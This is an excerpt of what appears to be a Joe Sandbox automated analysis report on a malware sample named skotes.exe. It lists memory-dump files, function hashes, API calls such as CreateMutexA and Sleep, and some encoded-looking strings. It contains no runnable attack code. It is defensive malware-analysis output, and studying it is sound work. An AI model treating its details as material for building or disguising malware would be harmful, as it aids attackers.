Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 811fc69b9402ece9bfcb97decd76c91d8027d0a993bf023915d8eaa612ac22e0
Instruction ID: a0f9eea503efec86a5f66bc2acc6859e74385b6fca596ca22529748b599cf0b3
Opcode Fuzzy Hash: 811fc69b9402ece9bfcb97decd76c91d8027d0a993bf023915d8eaa612ac22e0
Instruction Fuzzy Hash: 7C213A31748301DEFB28A7A8889BB6DB7669FC1310F248816ED44962D1CA7A598192E3

Function 0090A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 53cfc56e22a9f72067d9a061857f5d1d1c440e777d9317d8fa5cdd83cfe56832
Instruction ID: f701eece1e243463285eb53cd5eddb9f7118207450c73c08e0ebfb58a78273c2
Opcode Fuzzy Hash: 53cfc56e22a9f72067d9a061857f5d1d1c440e777d9317d8fa5cdd83cfe56832
Instruction Fuzzy Hash: 212168327043049FEB18DB68DC89B6DF7B6DBD2320F248619E864D76D4C77699808792

Function 0093D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0093A813,00000001,00000364,00000006,000000FF,?,0093EE3F,?,00000004,00000000,?,?), ref: 0093D871

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b05197d653e3b4d49bf7d2b37852b3d68e097a4eac9d0d67af4f72b15832b96d
Instruction ID: 2e92daca7afd468860d9a672b41b0472032bd91b59a12eb5723895fce7be245d
Opcode Fuzzy Hash: b05197d653e3b4d49bf7d2b37852b3d68e097a4eac9d0d67af4f72b15832b96d
Instruction Fuzzy Hash: 82F0823260722566EB317A76BC21B5B775DDF85770F198521FD18A7181DA60FC018EE0

Non-executed Functions

Function 0093CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0093CC66

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: f92fa249f10ef3fb10f5d9e9689773018fe52af5358943b86d159d24c19243d1
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: B8B126B2904A459FDB25CF28C881BBEBBE9EF85340F14856AE855FB381D6349D01CF60

Function 00902EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00902F5F
__Mtx_unlock.LIBCPMT ref: 00902FCC
__Mtx_unlock.LIBCPMT ref: 009030F5
__Mtx_unlock.LIBCPMT ref: 0090319B

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 1d4bfefdd1d1834b6a58830845cbc862b7e192a9ec0ffdd929228391e339d52c
Instruction ID: ee2f84a62cd5deabd2e073d8c02c782d4188948795f63bec5f77b858e322f704
Opcode Fuzzy Hash: 1d4bfefdd1d1834b6a58830845cbc862b7e192a9ec0ffdd929228391e339d52c
Instruction Fuzzy Hash: B4A101B0A0521AEFDB10DFA5C845BAAB7BCFF59354F008529E815D7281EB31EA44CB91

Analysis Process: skotes.exePID: 5808, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	761
Total number of Limit Nodes:	51

Executed Functions

Function 0090E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTw=, xrefs: 0091097D
MGE+, xrefs: 0090E821
9c9aa5, xrefs: 0090FB8E
GnNoc2Hc, xrefs: 0090E56C
#, xrefs: 00910624
246122658369, xrefs: 0090F737, 0090FA14, 009105E7, 0091099A
MQ==, xrefs: 0090E592
WDw=, xrefs: 0090F71D, 0090F9FA
WTs=, xrefs: 009105CA
111, xrefs: 0090F7A0
UA==, xrefs: 0090EB0F, 0090ED56

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
